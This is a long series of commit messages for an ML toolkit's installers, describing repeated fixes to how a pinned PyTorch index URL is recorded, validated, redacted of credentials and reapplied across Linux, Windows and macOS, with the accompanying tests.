marker-driven reinstall (both the verbatim custom pin and the cu/rocm
flavor and family-change repair, e.g. gfx1151 to gfx120X-all) never ran.
It now forces the dependency pass when a torch-index pin env var is set;
the pass is idempotent and no-ops when the marker already matches. This
mirrors setup.ps1's stale-venv pre-check.
Tests: 3 new parity assertions.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* test: expect first-update reinstall for a no-marker custom index pin
Follow-up to d671d8fb2: _ensure_verbatim_torch_index now applies an
explicit unknown-family URL pin verbatim on the first update when the
marker is absent (instead of no-op), so the old
test_verbatim_custom_url_no_marker_is_noop assertion was stale. Rewritten
as test_verbatim_custom_url_no_marker_reinstalls_once: asserts the one
verbatim reinstall from the pinned URL, that the marker is written, and
that a second call with the pin still set is idempotent (no reinstall
loop).
* install: gate the pinned update pass on the marker and record a pin baseline
Round 8, two follow-ups to the round-6 first-update pin fix:
1. setup.sh forced the full dependency pass on EVERY `studio update` while a
torch-index pin stayed exported, even after the marker already recorded the
same pin, turning quick updates into the expensive pass every time. It now
probes install_python_stack.py --torch-pin-needs-apply (which reuses the
exact marker normalization) and forces the pass only when the pin is not yet
applied (marker absent or different); an already-applied persistent pin keeps
the fast path. A probe error fails safe toward running the pass. setup.ps1
gets the same probe in its fast path for parity.
2. A known-family full-URL pin on a venv predating the marker (e.g. an installed
cu128 build and UNSLOTH_TORCH_INDEX_URL pointing at a same-family mirror) left
the marker absent forever: the _ensure_* helpers deliberately do not force a
multi-GB reinstall of identical-family wheels on an old venv, so nothing
recorded the pin and every update re-entered the pass. _record_torch_index_pin_baseline
now records the resolved pin as a baseline after the ensure sequence when the
family already matches and no marker exists, so the pin is tracked (a later
genuine change is detected and applied) and the update loop is broken, without
the redundant reinstall.
Tests: 3 new baseline unit tests, 4 new parity assertions, and the CLI probe.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* setup.sh: keep the pin probe's exit 1 from killing the update under set -e
The --torch-pin-needs-apply probe deliberately exits 1 for the common
steady-state answer (pin already recorded, keep the fast path), but it ran
as a bare command under set -euo pipefail, so the whole studio update
aborted before the exit code was even captured. Absorb the status with
|| _PIN_NEEDS_APPLY=$? and pre-seed 0 so all three outcomes route as
documented: 0 runs the pass, 1 keeps the fast path, anything else fails
safe into the pass. Parity test asserts the guard.
* install: strip pin credentials, disable uv config discovery, bound verbatim installs
Four verified fix groups from a 12-reviewer audit of the torch-index
override feature, each reproduced before fixing:
1. Credential persistence: all four marker writers stored the raw pin URL,
so an authenticated pin (https://user:token@mirror/simple) persisted its
credentials in .unsloth-torch-index (mode 0644 under a default POSIX
umask) and install_python_stack.py printed pin URLs verbatim in repair
messages. Userinfo is now stripped before persisting and in every
log/substep that interpolates a pin, via lockstep helpers
(_strip_index_url_credentials in install.sh / install_python_stack.py,
Remove-IndexUrlCredentials in install.ps1 / setup.ps1). The three
normalizers strip too, so an OLD marker that already carries credentials
still compares equal to the same pin: no reinstall loop on upgrade.
Query strings deliberately stay in the marker; two indexes distinguished
only by query must not compare equal.
2. uv configuration discovery beat the explicit pin: with a discovered
uv.toml declaring torch-backend = "cpu" or a [[index]] entry, uv 0.10.12
resolves torch 2.13.0+cpu against an explicit --index-url/.../cu126 pin;
UV_NO_CONFIG=1 restores +cu126 (reproduced both ways). The pinned-install
scrub in all four installers now sets UV_NO_CONFIG=1 and drops
UV_CONFIG_FILE.
3. The verbatim custom-index update path installed a bare, unconstrained
torch trio while fresh installs from the same unknown-leaf pin apply the
supported range; _ensure_verbatim_torch_index now installs the bounded
trio spec, closing the fresh-vs-update asymmetry.
4. Query-bearing pins (.../cu128?token=x) classified by raw leaf split and
force-reinstalled on every update (the installed cu128 never equals
cu128?token=x). Query/fragment are now stripped before leaf
classification in all four implementations; the marker comparison keeps
the query per (1).
Rejected after verification (no change): the pin-baseline record cannot
produce a wrong later decision (every pin change still mismatches and
reinstalls from the new pin); the venv temp-file symlink scenarios require
an attacker who already owns the environment; pathological inputs like
" / cu128 / " have no realistic caller and fail loudly.
Parity, stack, rocm-support, marker (sh + ps1), pin-stale, index-url and
flavor suites all pass (455 python + full shell/ps1 batteries).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: harden custom-pin repair against clobber, broken torch, and pip config
Four follow-ups to the pinned-index audit fixes:
1. setup.ps1 routed an unknown-leaf custom pin through the CUDA branch with
a bare torch trio while install.ps1 (fresh) and the Python verbatim path
bound the supported range; the pinned unknown-leaf route now applies the
same torch>=2.4,<2.11.0 bound. Known cu* leaves and unpinned runs are
unchanged.
2. The final torch safety pass could not repair a clobbered unknown-family
pin: intermediate dependency steps can pull torch from PyPI (the pass
exists for exactly that reason), but the verbatim helper short-circuited
on marker==pin and no flavor tag exists to probe. The helper now keeps a
per-run snapshot of the installed trio (taken after a verbatim reinstall
or on the first matching-marker pass) and reinstalls from the pin when
the final pass sees the trio drifted. Probe failure skips the
comparison; a reinstall refreshes the snapshot, so no loop.
3. _record_torch_index_pin_baseline could freeze a known-family pin as
applied on a venv whose torch is missing or broken (every family helper
returns without reinstalling when its probe fails), making
--torch-pin-needs-apply report done forever. The baseline now probes the
installed flavor and records only on a match: a cuXXX pin requires the
matching +cuXXX tag, cpu requires a cpu build, rocm/gfx requires hip;
probe failure records nothing.
4. The pinned pip fallback stripped PIP_* env vars but user/site pip config
files still applied (a configured global.extra-index-url can satisfy
torch off the pin). PIP_CONFIG_FILE is now pointed at the null device
for pinned commands (pip loads no config files then), in
_install_env_for_cmd and setup.ps1's Fast-Install pinned scrub.
install.sh / install.ps1 have no pip fallback (uv-only), verified.
Tests: 7 new rocm_support tests (snapshot reset fixture), 1 stack test,
2 parity tests. Full battery green (464 python, sh and ps1 suites).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: complete the pin-repair coverage across the fast path and platforms
Three cross-platform follow-ups to the round-2 pin-repair fixes:
1. The --torch-pin-needs-apply probe only compared marker==pin, so a torch
trio clobbered to the wrong family (a cpu wheel replacing cu128 via a
later pip install) with a still-matching marker reported "already
applied" and the _ensure_{cuda,rocm,cpu} repair never ran on the Linux
fast path. The probe is now a testable _torch_pin_needs_apply() that also
checks the installed flavor against a known-family pin (via a shared
_torch_flavor_matches_pin() helper, so the baseline and the probe cannot
drift). An unknown-family pin has no flavor to validate and a failed
probe cannot prove drift, so both keep the fast path.
2. macOS ARM (real CPU/MPS torch, not NO_TORCH) never applied an unknown-
family custom pin on update: both the verbatim path and the baseline
returned on IS_MACOS while fresh install.sh honors the pin, so the marker
was never written and setup.sh forced the dependency pass on every update
forever. The guards are now IS_MAC_INTEL (Intel mac is already NO_TORCH),
and the final pass applies the pin on macOS ARM.
3. The round-2 final verbatim repair sat in the step-13 sequence guarded
not IS_WINDOWS, so on Windows a dependency step that clobbered torch after
the pin was applied was masked by the matching marker (setup.ps1 does not
re-validate the main venv's torch after calling this script -- verified).
Step 13 now runs the verbatim snapshot-drift repair on Windows and macOS
ARM too; the Linux-oriented cuda/rocm/cpu family helpers stay Linux-only.
Tests: 13 new rocm_support cases (flavor drift, macOS ARM, Windows repair),
parity updates. Full battery green (475 python, sh and ps1 suites).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: strip query tokens from the marker and tighten the pin-drift probe
Four follow-ups to the round-3 pin-repair fixes:
1. The credential stripper feeding the torch-index marker and the logged repair
messages dropped only user:pass@ userinfo, so a private feed that carries its
auth token in the query string (.../simple?token=SECRET) persisted the token
in the world-readable marker (mode 0644 under a default umask) and printed it
in substep output. All four strippers (install.sh, install.ps1,
studio/setup.ps1, install_python_stack.py) now drop the query and fragment
before building the sanitized URL. A query is not part of a PEP 503 index's
identity, so this also stops a rotated token from spuriously mismatching the
marker and forcing a needless reinstall.
2. The --torch-pin-needs-apply fast-path probe accepted an untagged CUDA build
(no +cuXXX local tag) under a specific cuXXX pin, but _ensure_cuda_torch
reinstalls exactly that build to enforce the pin. The probe was more lenient
than the repair, so the repair pass was skipped on the fast path.
_torch_flavor_matches_pin now reports a mismatch for an untagged build under a
cuXXX pin, forcing the pass.
3. The probe's ROCm branch accepted any HIP build for a rocm/gfx pin, while
_ensure_rocm_torch decides a reinstall with the per-arch
_rocm_pin_family_mismatch predicate (a generic +rocm7.2 wheel under a per-arch
gfx pin, or a wrong ROCm version, is a mismatch). The probe now reuses that
predicate, so it is as strict as the repair. This needs the installed torch
version, so _probe_torch_flavor now returns (marker, cutag, version) and
_torch_flavor_matches_pin takes the pin URL (extracting the leaf internally).
4. On Windows a known-family cu*/cpu pin is applied to the main venv by setup.ps1
before install_python_stack.py runs; a later dependency step can clobber it,
and the GPU-aware _ensure_{cuda,cpu}_torch self-skip on Windows while the
verbatim helper handles only unknown-family pins, so nothing repaired the
clobber (setup.ps1 does not re-validate the main venv's torch afterward,
verified). New _ensure_pinned_known_family_torch reinstalls a drifted cu*/cpu
pin in the step-13 Windows/macOS-ARM branch; rocm/gfx per-arch specs stay owned
by setup.ps1, unknown-family by the verbatim helper.
A speculative ROCm 2.11 floor was also raised but is unreachable: the rocm7.2
index publishes no 2.x wheel below 2.11.0, and an unknown newer rocm is not
floored speculatively.
Tests: query/fragment strip cases in the sh + ps1 marker suites and the Python
strip/marker tests; the tri-state helper and the probe/baseline harnesses moved
to the (marker, cutag, version) flavor with matching versions; new probe cases
(untagged CUDA, generic-rocm-under-gfx) and 8 _ensure_pinned_known_family_torch
tests; a four-way query-strip parity assertion. Full battery green (1150 python,
sh 26/26 marker, ps1 marker/flavor/pin-stale).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: reinstall markerless gfx pins and cap custom-index updates at torch 2.11
Two follow-ups from the pin-marker audit:
1. A markerless venv with a gfx per-arch 2.11 pin trusted the wheel version
tag, which is byte-identical (+rocm7.13.0) across gfx120X-all / gfx1151 /
gfx1150. A pre-marker install holding one gfx arch's wheel that is now
pinned to a DIFFERENT gfx index was therefore never switched:
_rocm_pin_family_mismatch returns no-mismatch for any three-part +rocm
2.11 wheel, and _ensure_rocm_torch's absent-marker branch fell through to
that heuristic. _ensure_rocm_torch now forces a one-time reinstall when the
marker is absent AND the pin leaf is a 2.11 gfx per-arch index; the reinstall
writes the marker, so the next update compares exactly and does not loop
(the correctly-pinned no-reinstall guarantee then comes from the exact marker
compare, not the ambiguous tag). Non-gfx-2.11 pins (rocmX.Y, non-2.11 gfx)
stay on the tag heuristic -- their tags are distinguishable.
2. The verbatim custom-index update path used _CUDA_TORCH_PKG_SPEC (torch
<2.12.0) while a FRESH install of the same unknown leaf caps torch at
<2.11.0 (install.sh's default TORCH_CONSTRAINT, and setup.ps1's custom-pin
branch), so a private /simple mirror publishing torch 2.11 could upgrade a
`studio update` to a state the fresh installer never produces. Added
_CUSTOM_INDEX_TORCH_PKG_SPEC (torch>=2.4,<2.11.0), used only by the verbatim
path; companions stay pinned for the same exclusive --index-url ABI reason
as _CUDA_TORCH_PKG_SPEC (a bare name could pull a torch-2.12-built
torchvision). _CUDA_TORCH_PKG_SPEC is unchanged (known-family cu/cpu repair
correctly tracks install.sh's widened cu ceiling).
Tests: 2 new markerless-gfx cases (one-time reinstall + marker write + no-loop
second run, and the rocmX.Y absent-marker no-op), the pre-existing markerless
gfx no-reinstall test flipped to assert the one-time reinstall (it had encoded
the old tag-trusting behavior), and the custom-index bound assertions. 488
passed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: a matching marker must not mask a broken, clobbered, or misclassified torch
Four round-6 follow-ups, all closing cases where a matching torch-index
marker wrongly vouched for a torch that is not actually the pinned one:
1. _is_cuda_family_leaf matched cu+digits by PREFIX (^cu[0-9]), so a custom
mirror leaf like cu128-private classified as CUDA family; the flavor check
then compared the installed cu128 tag to the whole leaf cu128-private and
forced a reinstall on EVERY update (never converging). The cu family is
now matched EXACTLY (re.fullmatch cu[0-9]+), so a cu-suffixed custom leaf
routes through the verbatim/unknown path with a stable marker. Mirrored in
install.sh (_normalize_family_leaf: strip cu, require an all-digit
remainder) and setup.ps1 / install.ps1 (^cu[0-9]+$).
2. _torch_pin_needs_apply returned False on a failed torch probe (missing or
unimportable) under a matching marker, so setup.sh kept the fast path and
a broken torch was never repaired. A failed probe now forces the pass: the
marker cannot vouch for a torch that does not import, forcing is idempotent,
and once torch imports again the probe succeeds and the forcing stops
(self-resolving). Reverses the round-4 conservative choice for this case.
3. _ensure_verbatim_torch_index snapshotted the installed trio on the first
pass with a matching marker and treated an unimportable torch (snapshot
None) as "no drift, skip", so a torch clobbered to a broken state before
the run was masked. A None snapshot now reapplies the pin. A torch
clobbered to a WORKING-but-wrong build under an unknown-family pin remains
undetectable from metadata (no flavor tag; reinstalling every update would
be the loop this avoids) and is documented as a known limitation.
4. The step-13 Windows final repair reran only the verbatim (unknown-family)
and known-family cu*/cpu paths, so a clobbered explicit rocm/gfx pin (the
wheel setup.ps1 installed from AMD's per-arch index) was left in place. The
branch now also runs _ensure_rocm_torch on Windows for an explicit rocm/gfx
pin; it has a Windows path and no-ops when torch already links HIP, so it
only reinstalls a genuinely clobbered ROCm venv (loop-safe).
Tests: the round-4 failed-probe-trusts-marker test flipped to force the pass;
new cases for the cu-suffix no-loop, the broken-torch verbatim reinstall, and
the Windows rocm final-repair structure; item-2 exact-cu parity assertions.
490 passed. sh/ps1 marker + flavor + pin-stale suites all green.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: repair Windows ROCm pins from the pinned URL and honor NO_TORCH
Four round-7 review items, two of them regressions in the round-6 work:
1. _torch_pin_needs_apply ignored UNSLOTH_NO_TORCH. With a torch-index env
var set and no marker, the failed-probe branch forced the dependency pass
on every `studio update`, and the pass (which also honors NO_TORCH) never
installs torch or writes a marker, so nothing could ever stop the forcing.
It now returns False immediately under NO_TORCH: the pin only matters once
torch is actually installed.
2. The step-13 Windows final repair (round-6) restored a clobbered explicit
rocm/gfx pin by calling _ensure_rocm_torch, whose Windows path reinstalls
from the arch AUTO-DETECTED via hipinfo, not from the pin. A user pinning a
different gfx family or a private mirror was restored from the wrong source
(and the wrong marker written), and a headless box was skipped entirely
(the arch probe returns nothing). The repair now goes through
_ensure_pinned_known_family_torch, which reinstalls from the PINNED url with
the same per-arch floor setup.ps1 uses (2.11-line gfx leaves) or a bare trio
(older arches, rocmN mirrors). It is gated on IS_WINDOWS since macOS ARM has
no ROCm, and the existing flavor check keeps it loop-safe (a matching HIP
wheel is left alone).
3. _ensure_verbatim_torch_index's broken-torch check (round-6) used
"_installed_trio_snapshot() is None", but that helper reports a REMOVED torch
as "torch==absent" (a non-None tuple) and a broken import as the stale
on-disk version, so a missing or unimportable torch under a matching marker
was read as "no drift" and skipped. The matching-marker path now confirms
torch health with an import probe (_probe_torch_flavor): a torch that does
not import reapplies the pin, while a healthy torch keeps the snapshot-based
intra-run drift detection.
4. A unit test for _ensure_cpu_torch did not pin NO_TORCH False like its
siblings, so a suite run with UNSLOTH_NO_TORCH=1 in the environment made the
guard return early and the reinstall assertions fail spuriously.
Tests: the round-6 broken-torch verbatim test re-encodes the non-None
"torch==absent" snapshot case (the exact state the old "is None" check missed);
new Windows-ROCm pinned-repair cases (reinstall from the pin, per-arch floor vs
bare spec, matching-wheel no-op, off-Windows no-op); a NO_TORCH fast-path probe
case; the parity test now asserts the Windows final branch does not auto-detect
the ROCm index and that the helper reinstalls from the explicit pin. 494 passed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: floor the rocm7.2 index in the Windows pin repair; isolate marker tests
Three round-8 review items, two of them downstream of the round-7 changes:
1. _ensure_pinned_known_family_torch gave a rocm<d> index leaf a bare
torch/torchvision/torchaudio trio while flooring only gfx* leaves, so a
Windows venv clobbered under an explicit rocm7.2 pin could reinstall an
unbounded or ABI-mismatched trio from that exclusive --index-url. It now
mirrors the spec the initial ROCm paths pin: the rocm7.2 floor for 2.11-line
gfx leaves and rocm<d> leaves that serve torch 2.11, the <2.11 default for
older rocm versions, and a bare trio only for older gfx per-arch leaves
(which publish no floor), matching _ROCM_TORCH_PKG_SPECS / _ensure_rocm_torch.
2. test_verbatim_custom_url_no_marker_reinstalls_once called
_ensure_verbatim_torch_index twice; the second call now hits the
matching-marker health probe, and with pip_install mocked torch never becomes
importable, so in a no-torch environment _probe_torch_flavor returned None and
forced another reinstall, failing the idempotence assertion. The test now pins
a healthy flavor so the idempotence check is about the marker, not ambient
torch.
3. The TestEnsureRocmTorchMarker fixture patched os.environ per test but not
_TORCH_BACKEND, which install_python_stack.py computes once at import from
UNSLOTH_TORCH_BACKEND. A runner starting with a cuda/cpu backend made
_ensure_rocm_torch early-return and skip the mocked repair these tests
exercise. The fixture now neutralizes _TORCH_BACKEND so the marker tests are
independent of the caller's installer-pin environment.
Tests: the Windows floor-spec test now asserts a rocm7.2 mirror pin uses the
rocm7.2 floor (not bare), plus a new rocm7.1 case that must fall back to the
<2.11 default; the marker suite passes under a hostile
UNSLOTH_TORCH_BACKEND=cuda / UNSLOTH_TORCH_INDEX_URL env. 495 passed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: apply same-flavor pin repoints, keep ROCm fallback nonfatal, bound custom companions
Four round-9 review items, two of them regressions in the round-7 pin helper:
1. _ensure_pinned_known_family_torch returned as satisfied whenever the installed
flavor matched the pin, so a same-flavor SOURCE change (one /cpu or /cu128
mirror to another, or a gfx1151 -> gfx120x-all per-arch switch, both carrying
the same wheel tag) was never applied, while _torch_pin_needs_apply kept forcing
the pass on the marker mismatch forever. It now also reinstalls when the marker
records a DIFFERENT index of the same flavor, rewriting the marker so the next
update matches (no loop), exactly as the Linux _ensure_{cuda,cpu}_torch helpers
do. An absent marker on an already-matching venv is still left to the baseline
recorder (no forced reinstall of a correct pre-marker venv).
2. That helper reinstalled a Windows ROCm pin with the FATAL pip_install, so when
setup.ps1 had taken its CPU fallback (the pinned AMD index unavailable), the
final repair re-hit the same missing index and aborted the whole install. The
ROCm reinstall is now nonfatal (pip_install_try): on failure it leaves the CPU
base in place and writes no ROCm marker, so the install completes -- matching
_ensure_rocm_torch's Windows path. cu*/cpu pins stay fatal (authoritative source).
3. install.sh left torchvision/torchaudio bare for a pinned custom/unknown-leaf
index (a private /simple mirror), unlike the Python update path's
_CUSTOM_INDEX_TORCH_PKG_SPEC, so a mirror also exposing newer companion wheels
could resolve a torch-2.12-built torchvision against the capped <2.11 torch. It
now bounds the companions (torchvision>=0.19,<0.26.0 / torchaudio>=2.4,<2.11.0)
for a custom leaf, gated on an empty _expected_torch_flavor_tag so known families
keep their curated bare/floored companions.
4. install.sh's _expected_torch_flavor_tag matched cu[0-9]* by prefix, so a custom
leaf like cu128-private classified as the cu128 family and force-reinstalled a
correct +cu128 wheel on every run. It now requires exact cu+digits (routing the
suffixed leaf to the custom path), matching the Python re.fullmatch(cu[0-9]+) and
PowerShell, and feeding item 3's custom-leaf detection.
Tests: new cases for the same-flavor marker-change reinstall, the nonfatal ROCm
fallback (no marker on failure), the rocm7.2/older-rocm floor selection now split
across the nonfatal path, cu-suffixed custom leaves in test_torch_flavor.sh, and the
custom-leaf companion bounds in test_torch_constraint.sh. 497 python + 143 shell
assertions pass; the marker suite still passes under a hostile
UNSLOTH_TORCH_BACKEND=cuda env.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: bound custom-pin companions on the Windows setup path; isolate pin-probe tests
Two round-10 review items:
1. setup.ps1's custom/unknown-leaf pin branch capped only torch ($cudaTorchSpec)
and still asked the exclusive index for bare torchvision/torchaudio, so a
private mirror that also serves newer companion wheels could install a
torch<2.11 wheel alongside a torchvision>=0.26 / torchaudio>=2.11 built for a
newer torch ABI, after which the marker records the pin as applied. It now
bounds the whole trio (torch>=2.4,<2.11.0 / torchvision>=0.19,<0.26.0 /
torchaudio>=2.4,<2.11.0) for a pinned non-cu-family leaf, matching install.sh,
install.ps1's fresh pinned install, and install_python_stack.py's
_CUSTOM_INDEX_TORCH_PKG_SPEC. This completes the companion-bounds fix across all
three installers; known cu* leaves keep bare specs (the family index bounds them).
2. The _torch_pin_needs_apply probe tests did not pin NO_TORCH False, so a test
process launched with UNSLOTH_NO_TORCH=1 short-circuited the probe (the round-7
guard) and returned False for cases that expect the pass to run. The _needs_apply
helper now patches NO_TORCH (default False) around the call, and the dedicated
no-torch case passes no_torch=True explicitly.
Tests: the cross-platform parity test now asserts setup.ps1 bounds the full trio
(not just torch) for a custom leaf; the pin-probe suite passes under a hostile
UNSLOTH_NO_TORCH=1 environment. setup.ps1 parses clean; 497 python + shell suites
green.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: bound custom rocm-* pins, redact diag tokens, snapshot custom pins before base update
Three round-11 review items, all reproduced before fixing:
1. install.sh's custom-index companion bounds gated on _expected_torch_flavor_tag
returning empty, but that helper returned "rocm" for ANY rocm* leaf, so a custom
mirror whose leaf starts with rocm but is not a pip family (a private rocm-current
mirror, a Radeon find-links rocm-rel-7.2.1) escaped the bounds and installed bare
torchvision/torchaudio. It now digit-gates rocm to rocm[0-9]* (matching the Python
_is_pip_rocm_family_leaf ^rocm\d), so those custom leaves return "" and the <2.11
companion caps apply; real rocm7.2 / gfx per-arch indexes still classify as rocm.
2. _tauri_torch_index_family classified by the raw last path segment, so a pinned URL
carrying auth in the query (.../rocm7.2?token=SECRET) had the token echoed verbatim
into the emitted [TAURI:DIAG] line. It now strips query/fragment before classifying
(mirroring the marker/log credential stripping), so no token reaches the diagnostic
output; as a side effect .../cu128?token=x now classifies as cu128 instead of auto.
3. On studio update, the core package step (a newer unsloth can require a torch the
custom pin does not satisfy, pulling a default PyPI trio) runs BEFORE the step-2b
verbatim check, which then recorded the already-clobbered trio as the baseline for a
matching marker and left the pin unapplied. A new _capture_verbatim_baseline() records
the pre-clobber trio before the core step, so the verbatim pass detects the drift and
reapplies the pin. Captures only for a matching custom pin with importable torch; a
mismatched/absent marker or broken torch is left to _ensure_verbatim_torch_index.
Tests: _expected_torch_flavor_tag rocm-current / rocm-rel cases; _tauri_torch_index_family
token/fragment redaction with a no-leak regression guard; _capture_verbatim_baseline
record/skip cases plus an end-to-end clobber-detection scenario; a structural guard that
the capture runs before the core step. 501 python + shell suites pass; install.sh bash -n
clean, shellcheck unchanged from base.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: match rocm family leaves exactly, enforce the rocm7.2 torch line, repair a broken pinned torch
A pinned index is a pip ROCm --index-url family only when its leaf is an exact
rocm<digits> / rocm<digits>.<digits> (rocm7.2) or a gfx* per-arch leaf. The prior
^rocm[0-9] prefix match also caught suffixed private-mirror leaves (rocm7.2-private,
rocm7-current), routing them through the ROCm/companion-family path instead of the
verbatim pin: the companion bounds were skipped and, on a pre-marker venv with a
compatible +rocm wheel, the pin was never applied. Match the family exactly through one
shared helper at every site:
- install_python_stack.py: _is_pip_rocm_family_leaf (re.fullmatch), plus the two other
loose gates it feeds (_normalize_family_leaf, _torch_flavor_matches_pin).
- install.sh: a new _is_pip_rocm_family_leaf routes _expected_torch_flavor_tag,
_torch_index_repairable, _normalize_family_leaf and the ROCm side-effect gate.
- setup.ps1: a new Test-PipRocmFamilyLeaf routes Get-NormalizedFamilyLeaf and both
pinned reroutes; install.ps1 anchors its reroute regex.
_rocm_pin_family_mismatch (and its setup.ps1 mirror Get-RocmPinStaleTags) compared only
the ROCm version, so a +rocm7.2 wheel whose torch release drifted off the 2.11 line
(2.12/2.13 from an out-of-band upgrade or a custom rocm7.2 mirror) satisfied the family
check while violating _ROCM_TORCH_PKG_SPECS['rocm7.2'] (torch>=2.11,<2.12). Flag it stale
so the repair reinstalls to floor; >=2.11 alone is not enough, so the release is compared
exactly against the 2.11 line for a KNOWN-2.11 rocm pin.
_ensure_pinned_known_family_torch returned on a failed import probe, but
_torch_pin_needs_apply forces the dependency pass on that same failed probe: a broken
torch under a known-family pin was left in place and the pass was forced on every update.
Treat an unimportable torch as drift and reinstall the pinned trio (the spec and marker
derive from the pinned leaf, not the absent flavor); once it lands the probe succeeds and
the fast path returns.
Tests: exact-match cases across test_torch_flavor.sh, test_rocm_support.py,
test_cross_platform_parity.py and the two .ps1 helper suites; the rocm7.2 release-line
and broken-probe-reinstall cases; extraction lists updated for the new helpers.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: anchor the PS pinned-ROCm floor gate and bound install.ps1 custom-pin companions
Round 12 made every family CLASSIFIER exact, but the Windows install-flow floor gate reads
$_pinRocm211 directly from the raw pinned leaf with an unanchored -match '^rocm(\d+)\.(\d+)'
BEFORE any exact classification runs. A suffixed custom leaf (rocm7.2-private) matches that
rocm7.2 prefix, so it takes the 2.11-floor branch and is force-routed through the ROCm
install path before the exact-match elseif can send it to the verbatim install. Anchor the
match ($) in both install.ps1 and setup.ps1 so only an exact rocmX.Y leaf is floored; a
suffixed or newer-suffix leaf falls through to the verbatim path. The Python floor
selection is already exact (dict lookups gated on _is_pip_rocm_family_leaf), so only the two
PS scripts needed this.
install.ps1's custom (non-cu-family) pinned-torch install bounded torch>=2.4,<2.11.0 but
left torchvision/torchaudio bare, so a private mirror serving newer companions could pull a
wheel built for a newer torch ABI while the marker records the pin as applied. Bound both
companions (torchvision>=0.19,<0.26.0 / torchaudio>=2.4,<2.11.0) when the leaf is not a
cu<digits> family index (a cu index bounds its own resolution), matching setup.ps1's
Test-CudaFamilyLeaf gate and _CUSTOM_INDEX_TORCH_PKG_SPEC.
Tests: parity guards for the anchored floor gate in both PS scripts and for install.ps1's
bounded custom-pin companions.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: tighten comments in the torch-index-override paths
Collapse the verbose comment and docstring blocks added across the installer
scripts and their tests to fewer, clearer lines without changing behaviour.
Remove a duplicated CUDA-spec comment block. Comments/docstrings only; no code
changes (AST-verified).
* install: repair a broken pinned torch on Linux, strip trailing slash in tauri family, count the final step
_ensure_cuda_torch / _ensure_cpu_torch returned on a failed import probe (torch present but
unimportable). With an explicit CUDA/CPU pin, _torch_pin_needs_apply forces the dependency
pass on that same failed probe, and the base package update does not force-reinstall an
already-installed torch distribution, so the broken torch was left in place and the pass
reran every update without repairing it. Treat a failed probe under a pin as drift and
reinstall from the pinned index (the reinstall rewrites the marker and the next probe
imports, so no loop). This is the Linux counterpart of the known-family repair fix.
_tauri_torch_index_family stripped the query/fragment before classifying but not a trailing
slash, so a token-authenticated pin like .../cu128/?token=x collapsed to .../cu128/ and fell
through the exact-suffix */cu128 and */cpu arms to "auto". Strip a trailing slash too,
mirroring _torch_index_url_leaf.
The Windows / macOS-ARM final torch-repair step (_ensure_pinned_known_family_torch) runs a
progress step that base_total never counted (the final-step increment was gated to Linux),
so _STEP ran one past _TOTAL on those platforms. Add the missing increment.
Tests: broken-probe reinstall for the CUDA (family and URL pins) and CPU paths; trailing
slash / slash+token cases for _tauri_torch_index_family; a full-flow progress-count guard
asserting _STEP == _TOTAL on Windows and Linux.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: tighten comments in the torch-index-override paths
* install: harden the torch-index pin across all four installers
Redact index-URL credentials from captured install logs before they print on
failure. uv/pip failure text embeds the failing --index-url verbatim, so a
user:token@ or ?token= secret could leak into the console. Add a shared
redaction pass (_redact_install_output / Redact-InstallOutput) wired into the
error-output dump in install.sh, install.ps1, setup.ps1 and
install_python_stack.py. Verbose mode still streams live uncaptured output, so
it is intentionally left unredacted (developer opt-in).
Trim trailing slashes on the PATH only for a verbatim UNSLOTH_TORCH_INDEX_URL
override, preserving a ?query/#fragment token. A whole-URL rstrip corrupted a
base64 token ending in "/", and a single-slash strip left .../cu128//
classifying as an empty leaf. Add _trim_index_path_slashes /
Trim-IndexPathSlashes and route the override through it; strip ALL trailing
slashes in the backend-branding leaf classifier so a double slash still yields
the real leaf.
Reject a trailing-dot ROCm leaf (rocm7.) in the bash family validator so it
matches Python re.fullmatch(rocm\d+(?:\.\d+)?) and the PowerShell regex: both the
major and the minor must be non-empty digits, so rocm7. is a custom verbatim pin,
not a pip ROCm family.
Scrub PIP_NO_INDEX and PIP_INDEX_URL for a pinned install in the two installers
that have a plain-pip fallback (install_python_stack.py, setup.ps1):
PIP_NO_INDEX=1 makes the fallback ignore every index including the pinned
--index-url, and PIP_INDEX_URL replaces it. install.sh and install.ps1 install
via uv --default-index (which ignores pip config/env), so they are unaffected.
Add unit tests (bash, Python, PowerShell) and cross-platform parity tests
covering credential redaction, path-only slash trimming, the rocm7. validator,
the double-slash leaf, and the PIP_NO_INDEX/PIP_INDEX_URL scrub.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* install: redact captured torch-install output and warn on a failed pinned ROCm repair
Close a redaction gap the earlier pass missed: setup.ps1's direct
`Fast-Install ... | Out-String` branches (ROCm from $ROCmIndexUrl, CPU/CUDA from
$TorchInstallIndexUrl, plus the Triton and T5 sub-venv installs) printed the
captured $output verbatim on failure, bypassing Redact-InstallOutput. A private
index carrying userinfo or a ?token= in the pin could leak into Windows Studio
setup logs. Route every `Write-Host $output` through Redact-InstallOutput.
Warn on a failed pinned Windows ROCm reinstall in
_ensure_pinned_known_family_torch: the branch printed "reinstalling from it" then
called pip_install_try, but had no else, so a failure continued silently and left
the user believing the pin was applied while the old CPU/wrong torch survived.
Mirror the auto-ROCm Windows path and warn, telling the user to retry.
* install: redact captured output on the pip fallback and optional-install failure paths
